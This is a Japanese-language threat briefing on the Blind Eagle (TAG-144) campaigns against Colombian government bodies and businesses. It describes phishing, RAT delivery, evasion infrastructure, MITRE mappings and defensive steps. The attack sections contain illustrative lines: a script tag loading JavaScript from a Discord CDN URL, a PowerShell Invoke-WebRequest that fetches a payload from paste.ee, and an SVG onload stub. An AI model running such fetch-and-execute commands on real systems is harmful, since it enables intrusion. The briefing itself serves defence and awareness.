1. 概要と背景

Blind Eagle（TAG-144）： 2018年から活動する高度なサイバー脅威グループで、南米、特にコロンビアを主な標的としています。金銭目的のサイバー犯罪（例：銀行フィッシング）とスパイ活動（例：政府機関への侵入）を組み合わせた攻撃で知られ、Remote Access Trojan（RAT）を使用した巧妙な手法を展開しています。

背景： 2024年5月から2025年7月にかけて、Recorded FutureのInsikt GroupはBlind Eagleによる5つの異なる攻撃クラスターを特定しました。主な標的はコロンビア政府（地方・市・連邦レベル）で、教育、医療、金融、石油、防衛、小売などの分野にも被害が広がっています。攻撃はフィッシングメール、ファイルレス実行、正規サービスの悪用を特徴とし、防御策の強化が急務です。

期間：2024～2025年のサイバー攻撃キャンペーン（2025年8月27日時点のデータ）。

目的：組織や個人にBlind Eagleの戦術・技術・手順（TTP）を周知し、サイバーセキュリティのリスク意識を高め、具体的な防御策を提供すること。

進化の軌跡：2018年の初期はランダムな金銭目的の攻撃が中心でしたが、2024年以降は政府機関を標的とした組織的なスパイ活動にシフト。Microsoftの脆弱性（CVE-2024-43451）をパッチ公開後6日で悪用するなど、技術適応力が高いことが特徴です。社会的影響として、政府の政策遅延や金融機関の顧客信頼低下が懸念されます。

2. 主要な攻撃手法と分析

(1) スピアフィッシングと配信手法

• 政府機関を装ったメール：コロンビア政府や銀行（例：Banco Davivienda）を装ったメールを使用。例：「税金還付のお知らせ」「口座確認が必要です」などの件名で、添付ファイル（.svg、.zip）やリンクをクリックさせます。
• 短縮URL：cort[.]as、acortaurl[.]com、gtly[.]toなどの短縮URLで悪意あるリンクを隠蔽。例：クリックするとDiscord CDNやPaste.eeにリダイレクトされ、マルウェアをダウンロード。
• SVGファイルの悪用：SVG添付ファイルを開くと、JavaScriptがDiscord CDNから取得され、感染チェーンを開始。例：<script src="https://cdn.discordapp.com/malicious.js">。
• PowerShellとステガノグラフィ：PowerShellスクリプトがJPG画像からBase64エンコードされた.NETアセンブリを抽出。例：Invoke-WebRequest -Uri "https://paste.ee/malware.jpg" | ConvertFrom-Base64でファイルレス実行。

(2) マルウェアの展開

• 使用マルウェア：DCRat、AsyncRAT、Remcos RAT、Lime RAT、XWormを使用。機能：キーロガー（例：パスワード記録）、画面キャプチャ（例：リアルタイム監視）、ファイル操作（例：機密データ送信）、カメラ・マイク制御。
• 改造AsyncRAT：Red AkodonやShadow Vectorと共有されるカスタム版。例：難読化されたキーロガー関数（GetAsyncKeyState）で検知を回避。
• 新技術：HeartCrypt（Packer-as-a-Service）やPureCrypter変種を採用。CVE-2024-43451（2024年8月パッチ）を6日で悪用し、迅速な攻撃展開を示す。

(3) インフラと検知回避

• ローカルISPとVPS：コロンビアのISPやProton666などのVPSを使用し、C2サーバーを現地トラフィックに紛れ込ませる。例：C2サーバーは月2回IPを変更。
• VPNとDDNS：FrootVPN、TorGuard、duckdns[.]org、noip[.]comを使用。DDNSは1～3日でドメイン変更し、追跡を困難に。
• 正規サービスの悪用：Dropbox、GitHub、Google Drive、Paste.ee、Internet Archiveにペイロードを隠す。例：GitHubリポジトリに偽装されたマルウェア配布。
• 地理的フィルタリング：コロンビア国外からのアクセスを正規政府サイトにリダイレクト。例：米国からの接続はgov.coに転送。

(4) 攻撃クラスター（2024～2025年）

(5) 防御策

• メールフィルタリング：SPF/DKIM/DMARCを設定し、偽装メールを拒否。例：Gmailで「詳細表示」を開き、送信元を確認。Microsoft Defender for Office 365で添付ファイルを自動スキャン。
• アプリケーション制御：Windows AppLockerでPowerShell/VBSを制限。例：グループポリシーでpowershell.exeの署名済みスクリプトのみ許可。
• ネットワーク監視：Pi-holeでduckdns[.]orgをブロック。例：blacklist duckdns.org。FortiGateでTorGuardの通信を制限。
• エンドポイント検知：CrowdStrikeでファイルレス実行を監視。例：PowerShellのInvoke-WebRequestログをチェック。
• ユーザー教育：月1回のフィッシング訓練を実施。例：偽メール（「税金通知」）でリンククリックをテストし、結果をフィードバック。

(6) 被害を受けた業種と地域

• 業種：政府（60%）、金融、教育、医療、防衛、石油、小売。例：政府は機密データ、金融は顧客PII、医療は患者記録が標的。
• 地域：コロンビア（約70%）、エクアドル、チリ、パナマ、北米のスペイン語話者。コロンビアは政治・経済の中心であるため重点標的。

(7) ケーススタディ：コロンビア政府機関への攻撃

コロンビアの地方自治体が「2025年度予算確認のお知らせ」という件名のメールを受信（送信元：偽装されたgov.coドメイン）。添付のSVGファイルを開くと、Discord CDNからJavaScriptが取得され、PowerShellがPaste.eeからJPG画像をダウンロード。画像内に隠された改造AsyncRATがメモリ上で実行され、duckdns[.]org経由でC2通信を確立。攻撃者は予算データと職員の認証情報を盗み、公共事業の遅延を引き起こす。影響：予算再編の遅れ、市民サービスの停止。 防御策で予防可能。

(8) 攻撃チェーンの可視化

Blind Eagleの攻撃は、MITRE ATT&CKフレームワークに基づく次の段階で進行します：

1. 初期アクセス（T1566.001）：フィッシングメールでSVGファイル送信。
2. 実行（T1059.001）：PowerShellでペイロード取得。
3. 持続化（T1547.001）：レジストリに自動起動設定（例：HKCU\Software\Microsoft\Windows\CurrentVersion\Run）。
4. C2通信（T1071.001）：HTTPSでduckdns[.]orgに接続。
5. 情報収集（T1056.001）：キーロガーでパスワード記録。

3. 技術的・運用コンテキスト

• フィッシングの巧妙さ：乗っ取った正規アカウント（例：Gmail）や偽装アドレス（例：notificaciones@bancolombia.co）を使用。例：実際の送信元はロシアのVPS。
• ファイルレス実行：ディスクに保存せず、メモリ上で.NETアセンブリを実行。例：System.Reflection.Assembly.Loadでペイロード展開。
• ステガノグラフィ：画像やテキストにコードを隠す。例：JPGにBase64エンコードされたRATを埋め込み、PowerShellで抽出。
• MITRE ATT&CKマッピング：
  • T1566.001（フィッシング添付ファイル）：SVG/VBSで感染開始。例：<svg onload="malicious.js">。
  • T1059.001（PowerShell）：外部からペイロード取得。例：Invoke-WebRequestログ。
  • T1568（動的解決）：DDNSでC2サーバー変更。例：duckdns[.]orgが3日ごとに更新。
  • T1027（難読化）：ステガノグラフィと暗号化通信。例：Base64エンコードされたペイロード。
• 動機の曖昧さ：金銭目的（例：8,000件のPII漏洩）とスパイ活動（例：政府データ盗難）の両立。国家支援の可能性も示唆される。

4. Blind Eagleの目的と影響

• 金銭目的：Banco DaviviendaやBancolombiaを模倣したフィッシングで約8,000件のPII（氏名、ID等）漏洩（未検証、Recorded Future）。例：盗まれた認証情報で不正送金。
• スパイ活動：政府機関への攻撃（60%）は機密データ盗難や政策妨害を目的。例：軍事計画や予算データの漏洩。
• 運用妨害：RATの機能（キーロガー、画面キャプチャ、ファイル操作）が重要インフラを脅かす。例：医療機関のシステム停止で患者サービス中断。
• 地域フォーカス：コロンビア中心（70%）、エクアドル、チリ、パナマ、北米スペイン語話者に拡大。言語・文化的親和性を悪用。

5. TAG-144（Blind Eagle）について

• プロフィール：2018年から活動する高度な脅威グループ。南米を標的とし、RATベースの攻撃でサイバー犯罪とスパイ活動を融合。
• 運用役割：モジュール式の攻撃クラスターを展開。共有インフラ（DDNS、VPS）とカスタムマルウェア（改造AsyncRAT）で効率化と検知回避を実現。
• 進化：HeartCryptやCVE-2024-43451の迅速な悪用など、技術的適応力が高い。リソースの豊富さが国家支援の可能性を示唆。

6. 結論

Blind Eagle（TAG-144）は、サイバー犯罪とスパイ活動を組み合わせた二重脅威アクターであり、コロンビア政府機関（60%）を中心に金融、教育、医療などの分野を標的にしています。フィッシング、ファイルレスRAT、正規サービス（Discord、Dropbox等）の悪用、地理的フィルタリングといった高度な戦術により、従来の防御では対抗が困難です。単一キャンペーンで約1,600件、銀行フィッシングで約8,000件のPII漏洩（未検証）が報告され、データ盗難、経済的損失、運用停止のリスクが顕著です。メールフィルタリング、EDR展開、ネットワーク監視、ユーザー教育が防御の鍵です。今すぐ対策を。

7. 追加リソースとFAQ

よくある質問

• 感染したか確認する方法は？ タスクマネージャーで異常なプロセス（例：不明な.exeで高CPU使用率）を確認。CrowdStrikeなどのEDRでAsyncRATの痕跡をスキャン。
• 怪しいメールを開いてしまった場合？ 即座にインターネットを切断、Windows Defenderでフルスキャン、ITサポートにメモリ分析を依頼。
• 個人でも防御可能か？ 可能。Windows Defenderを有効化、.svgや.zipを避け、Pi-holeでDDNSをブロック。例：blacklist duckdns.org。
• 感染したPCの復旧方法は？ ネットワークを切断、EDRでプロセス終了、ディスクを初期化、最新バックアップから復元。認証情報を変更。

実践的ツールガイド

• Windows Defender設定：設定 > 更新とセキュリティ > Windowsセキュリティ > ウイルスと脅威の防止 > リアルタイム保護をON。例：月1回のフルスキャンをスケジュール。
• Pi-hole設定：ローカルDNSサーバーを構築し、duckdns[.]orgやnoip[.]comをブロックリストに追加。例：pihole -b duckdns.org。
• メールヘッダー確認：Gmailで「オリジナルを表示」をクリック、Receivedフィールドで送信元サーバーを確認。例：偽装メールはgov.coと異なるIPを示す。

詳細な情報は、Recorded Futureのレポートやサイバーセキュリティ専門家に相談してください。リソースを参照。

TAG-144 防御策
主要な軽減策

SOC対応：詳細インシデント対応ワークフロー

1. 初期検知：PowerShellがPaste.eeにアクセスやAsyncRATプロセスをトリガーにアラート。例：EDRでpowershell.exeの親プロセス（Outlook）をログ。
2. 封じ込め：EDRで感染端末をネットワーク隔離、C2 IP（例：duckdns[.]org）をファイアウォールでブロック、プロセス終了。例：CrowdStrikeでkill process。
3. 調査：レジストリ（HKCU\Software\Microsoft\Windows\CurrentVersion\Run）やスケジュールタスクを確認、ファイルアクセスログで漏洩を分析。例：SysmonでイベントID 1をチェック。
4. 復旧：端末を初期化、認証情報を再発行、バックアップから復元。例：Windowsイメージで再インストール。
5. 改善：YARA/Sigmaルールを更新、フィッシング訓練を強化、IOCを業界共有。例：VirusTotalにハッシュを登録。